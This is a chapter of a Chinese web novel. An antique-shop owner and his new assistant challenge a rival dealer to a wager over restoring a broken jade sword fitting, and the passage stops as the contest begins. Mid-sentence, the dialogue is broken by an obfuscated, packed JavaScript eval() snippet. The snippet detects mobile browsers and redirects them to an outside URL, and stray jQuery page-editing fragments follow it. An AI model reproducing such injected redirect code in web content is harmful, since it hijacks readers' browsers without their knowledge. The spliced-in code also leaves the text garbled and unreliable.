一个时辰后,侯四同拿着那件青白玉器,带着路元玉来到了宝盛昌。
宝盛昌的店面就像它的名字般阔气,“宝盛昌”三个字用一个金色招牌挂在门楣正中间。
大门两侧配了对对联。
上联:金玉其外;下联:慧眼识珍。
侯四同两人刚走到门口,便见一个伙计迎上前来,笑道:
“哟,侯掌柜,什么风把您给吹过来了?”
侯四同笑着摆摆手,“今天还真的有点事,去把你们赵掌柜叫来。”
说着就要往里面走。
然而伙计却将他拦了下来,一脸为难道:“真不巧,我们家主子一早出去了。要是知道今日您要来,主子肯定备好茶等您啊!”
侯四同面色微沉,仍笑道:“没事,我等会儿便是。”
说着不管伙计如何拦,都抬脚走了进去,坐在了专为客人准备的椅子上休息。
路元玉也跟了进去。
她不说话,暗暗观察着宝盛昌内的古董。
店内的架子上摆满器物,显得有些拥挤,有真有假,全都平平无奇。
最引起路元玉注意的是,正对大门的独立紫檀木高台之上,放着一个带精巧铜锁的厚玻璃罩,罩内摆放着一件鎏金摩羯纹银壶。
上方摆了两盏烛台打光,更显的器物本身流光溢彩。
路元玉都暗自惊叹。
想必这件就是镇店之宝了。
每个古董店为彰显身价,都会设置一个镇店之宝,比如侯掌柜店里的镇店之宝就是个战国时期的青黄玉璜。
路元玉沉浸地欣赏了一会儿,看到店内陆陆续续来了些客人。
然而这些客人在看到侯四同时,都打了个招呼,转身就离开了。
侯四同却还乐呵呵的坐在那里,等着赵掌柜出来。
赵掌柜在后面看着自己的客人全都跟水一样流走了,心痛不已,终于忍不住从后面的帘子里走了出来。
一副风尘仆仆的样子。
“侯掌柜,真是稀客,稀客呀!”赵掌柜抱拳,向侯掌柜问好,“您老来怎么也不提前说一声,若是我知道您今日过来,我说什么也不去办什么破事!”
侯四同:“诶,话不能这么说,是我没有提前告知,突然上前拜访,于礼多有不合。”
赵掌柜笑了两声,将目光放在了路元玉身上,“这位是?”
刚才他就注意到了,这个女人从进来就一直盯着他的镇店之宝看个没完,一副没见过世面的样子。
侯四同简单介绍道:“这是我店里新来的伙计,不用在意她,我们聊就行。”
赵掌柜了然点点头,“您老早就该往店里找个伙计帮您打下手了,现在终于想通了。不过啊,”
他瞥了眼路元玉,凑近侯四同,压低声音道:“您怎么找了个女人?那些东西她能搬得动吗?要我说啊,我这里的伙计小厮,您看中了哪个随便挑就是!”
“嗐,”侯四同笑道:“你别看她个子小,力气可大着呢。赵掌柜,今日贸然登门,还真有点事想问问你。”
见侯四同面色认真,赵掌柜也认真起来,抬起一只手为侯四同引路,“我们里边说?”
跟着赵掌柜来到内间,赵掌柜命人给侯四同倒了杯茶。
侯四同象征性抿了一口,便从怀中掏出那个深青色旧锦囊,放到桌面上。
“早就听闻赵掌柜法眼如炬,您的手能化腐朽为神奇,所以今日想请赵掌柜看看我这个能不能修?”
赵掌柜被夸的有些飘飘然,但还是谨慎地看了侯四同一眼,才让人将锦囊拿到他面前。
他慢慢拆开,看到里面的东西后,面色有些为难。
沉默片刻后,他皱眉道:“侯掌柜,不是我不愿意帮你,你这剑璏断裂时间,少说也有十几年,磨损这么严重,还丢了一颗玛瑙。这样成色的玛瑙,我去哪里给您找去!”
侯四同眼中闪过一丝得意,不动声色道:“你的意思是,不能修?”
“修倒是可以修,不过有些为难罢了。”
侯四同:“有多为难?”
赵掌柜狐疑地看着他,道:“大概需要三个月,三十贯铜钱罢。”
侯四同和路元玉对视一眼。
见到她胸有成竹地眼神后,更是开心地笑了出来。
“侯掌柜,您这是?”赵掌柜看着他不同寻常的样子,有些摸不着头脑。
侯四同爽朗道:“那我就不跟你卖关子了。”
他指了指后面的路元玉,“其实她不仅是我新招来的伙计,也懂一点古董修复之道。”
“她?”赵掌柜闻言,面色怀疑,语气略有不屑道。
侯四同点头,“实不相瞒,来之前,我就已经问过她了,她说用不到一个月就能修复完成。”
“不到一个月?”赵掌柜更是不信,甚至有些生气,从椅子上站起来。
“侯掌柜,我好心请您老进来喝茶,您却是故意来给我找茬了是吧?”
侯四同好脾气地笑着摆手,“赵掌柜这说的是哪里的话,咱们同在一条街上,低头不见抬头见,我找什么茬?”
“我就是知道你懂,这不是来找你问问吗。”
赵掌柜视线在路元玉身上上下扫了好几遍,看着她破破烂烂的衣服和木讷沉默的神态,赵掌柜最终下定结论:这个女人一定是个骗子。
“侯掌柜,我劝您一句,您年纪大了,就不要瞎折腾了,免得折腾到最后,人财两空啊。”
侯四同摇摇头,“说实话,要是你早点跟我说这话,我就听你的了,可现在,我觉得这李姑娘说得对。”
“哦?”
侯四同:“赵掌柜,既然你不信李姑娘能在一个月之内将此物修好,那我们来打个赌怎么样?”
赵掌柜皱眉,总算明白今日侯四同过来是干什么了。
无非就是想给他个下马威。
他一个老头子,竟然以为自己会输给一个小丫头片子?
赵掌柜轻嗤一声,不屑道:“侯掌柜,等你输了以后可别怪我没提醒你。”
侯四同没想到他竟然这么轻易就答应了,连连笑道:“不会的不会的。赵掌柜,堵住我已经想好了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001542|193966||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,就堵上我们两个店的名声怎么样?”
赵掌柜神色微凝,这个侯四同是疯了吧?赌这么大干什么?
他眼神又落在路元玉身上。就为了给这个小丫头片子出风头?他们是什么关系?
他从刚才起就一直在观察这个女人,说实话,跟一般女人比起来没什么不同,甚至还有点逊色,除了那一双水汪汪的眼睛,再没什么特别之处。
她真的能在一个月之内将剑璏修好吗?赵掌柜很快又在心里摇摇头,不可能。
他在这一带的古玩界算有头有脸的人物了,比他技术好的那些人他都知道,也从来没有听他们说过什么姑娘之类的。
思及此,赵掌柜更加笃定侯四同是被骗了,便意味不明地笑了一下。
“好,我答应你。”
赵掌柜不仅口头答应了,还特意带着他们来到店里,对着在场的所有人宣布了这件事情。
瞬间,引起在场人们的轩然大波。
“这个小丫头是哪里来的,没听说过啊!”
“竟然敢跟赵掌柜比技艺,这是想红想疯了吧?”
“嗐,一看就知道是侯掌柜不想再被赵掌柜压着一头,想翻身了!”
“想翻身?别是身没翻成,摔得更惨了!”
众人哈哈大笑起来,都是对侯四同和路元玉唱衰的。
赵掌柜被众人围在中心,看上去洋洋得意不已,但还是制止道:“唉,别说的太过分了。”
然而他的这句话就像一阵风,众人都没放在心里,反而嘲弄地更起劲了。
侯四同见目的达成,便与路元玉一同离开了。
回到博古轩,路元玉好奇问道:“侯掌柜,您为什么这么信任我,万一我没有那个水平,您岂不是亏大了?”
侯四同笑道:“我们虽然才认识了一天,但我觉得好像很早就认识你了。我觉得你是个好姑娘,没有把握的事肯定不会乱说,况且,我提出要和他打赌的时候,你不是也没拒绝吗?”
侯四同仿佛在说一件非常普通的日常小事,眉目间尽是放松和惬意。
路元玉闻言,心中异常感动。
在现实世界的时候,她因为出众的能力被师兄师姐们信任,但在项目出问题时,他们还是会怀疑自己的能力,那时她才彻底意识到,没有人会彻底相信她。
然而没想到,眼前这个老头儿却堵上了店铺的前途,轻轻松松给了她独一份的信任。
路元玉只用了半个月就将剑璏修好了。
但她还是等到一个月,才跟着侯掌柜去赴约。
两人来到宝盛昌时,外面已经围了很多人,有一些大多都是来看热闹的。
无视掉他们嘈杂的讨论声,两人面不改色的走了进去。
宝盛昌今日有所不同,店面中央的展示柜被抬放到一边,换了一个普通的红木桌,红木桌两边各摆放了两张太师椅,每个太师椅上都坐着一位中年男子。
见侯四同二人进来后,以赵掌柜为首,那四个人都纷纷站起来迎接侯掌柜。
“侯掌柜,快来,我们等你好久了!”